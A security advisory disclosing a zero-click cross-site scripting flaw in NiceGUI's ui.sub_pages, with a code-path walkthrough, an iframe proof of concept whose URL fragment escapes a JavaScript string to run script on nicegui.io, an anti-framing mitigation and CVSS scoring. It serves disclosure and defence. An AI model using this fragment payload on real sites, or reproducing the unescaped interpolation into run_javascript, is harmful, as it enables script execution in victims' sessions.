Skip to content

Zero-click XSS in all NiceGUI apps which uses `ui.sub_pages`

High
falkoschindler published GHSA-mhpg-c27v-6mxr Jan 8, 2026

Package

pip nicegui (pip)

Affected versions

>=2.22.0,<=3.4.1

Patched versions

3.5.0

Description

Summary

An unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe.

Details

The problem is traced as follows:

  1. On pushstate, handleStateEvent is executed.

window.addEventListener("popstate", handleStateEvent);
window.addEventListener("pushstate", handleStateEvent);

  1. handleStateEvent emits sub_pages_open event.

function handleStateEvent(event) {
const cleanPath = event.state?.page || getCleanCurrentPath();
emitEvent("sub_pages_open", cleanPath);
}

  1. SubPagesRouter (used by ui.sub_pages), lisnening on sub_pages_open, _handle_open runs.

class SubPagesRouter:
def __init__(self, request: Request | None) -> None:
on('sub_pages_open', lambda event: self._handle_open(event.args))
on('sub_pages_navigate', lambda event: self._handle_navigate(event.args))

  1. _handle_open finds any SubPages and runs _show() on them

async def _handle_open(self, path: str) -> bool:
self.current_path = path
self.is_initial_request = False
for callback in self._path_changed_handlers:
callback(path)
for child in context.client.layout.descendants():
if isinstance(child, SubPages):
child._show() # pylint: disable=protected-access
return await self._can_resolve_full_path(context.client)

  1. If you follow the if-logic or just add debug prints, you can find out that it calls self._handle_scrolling(match, behavior='smooth') directly

def _show(self) -> None:
"""Display the page matching the current URL path."""
self._rendered_path = ''
match = self._find_matching_path()
# NOTE: if path and query params are the same, only update fragment without re-rendering
if (
match is not None and
self._match is not None and
match.path == self._match.path and
not self._required_query_params_changed(match) and
not (self.has_404 and self._match.remaining_path == match.remaining_path)
):
# NOTE: Even though our matched path is the same, the remaining path might still require us to handle 404 (if we are the last sub pages element)
if match.remaining_path and not any(isinstance(el, SubPages) for el in self.descendants()):
self._set_match(None)
else:
self._handle_scrolling(match, behavior='smooth')
self._set_match(match)
else:
self._cancel_active_tasks()
with self.clear():
if match is not None and self._render_page(match):
self._set_match(match)
else:
self._set_match(None)

  1. CULPRIT _handle_scrolling runs _scroll_to_fragment as there is a fragment, which runs vulnerable JS if the fragment (attacker-controlled) escapes out of the quotes.

def _handle_scrolling(self, match: RouteMatch, *, behavior: str) -> None:
if match.fragment:
self._scroll_to_fragment(match.fragment, behavior=behavior)
elif not self._router.is_initial_request: # NOTE: the initial path has no fragment; to not interfere with later fragment scrolling, we skip scrolling to top
self._scroll_to_top(behavior=behavior)
def _scroll_to_fragment(self, fragment: str, *, behavior: str) -> None:
run_javascript(f'''
requestAnimationFrame(() => {{
document.querySelector('#{fragment}, a[name="{fragment}"]')?.scrollIntoView({{ behavior: "{behavior}" }});
}});
''')

PoC

Just visiting this page (no click required), consistently triggers XSS in https://nicegui.io domain.

<html>
  <body>
    <iframe id="myiframe" src="https://nicegui.io" width="100%" height="600px" onload="triggerXSS()"></iframe>
    <script>
      function triggerXSS() {
        if (!myiframe.src.includes("#")) {
          myiframe.src = "https://nicegui.io#x');alert(document.domain)//";
        }
      }
    </script>
  </body>
</html>
image

Impact

Any page which uses ui.sub_pages and does not actively prevent itself from being put in an iframe is affected.

The impact is high since by-default NiceGUI pages are iframe-embeddable with no native opt-out functionalities except by manipulating the underlying app via FastAPI methods, and that ui.sub_pages is actively promoted as the new modern way to create Single-Page Applications (SPA).

Patch

  1. Not use ui.sub_pages
  2. Block iframe with the following code
@app.middleware('http')
async def iframe_blocking_middleware(request, call_next):
    response = await call_next(request)
    response.headers['X-Frame-Options'] = 'DENY'
    return response

Appendix

AI is used safely to judge the CVSS scoring (input is censored).

Please find the results in https://poe.com/s/3FXuwp7TAYxqLomARXma

Scoring update after manual review

The scoring done by AI was quite biased. Upon further review it is less dramatic.

  • User Interaction None: There's almost no interaction required, and none of the interaction is with the vulnerable system.
  • Confidentiality & Integrity Low: The extent of data confidentiality & integrity loss is bounded by the highest priviledged user in the entire NiceGUI application. There does not exist a means of performing data manipulating tasks that said admin cannot already do.
  • Availability None: No DDoS is possible with this. Site remains performant as ever.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

CVE ID

CVE-2026-21873

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits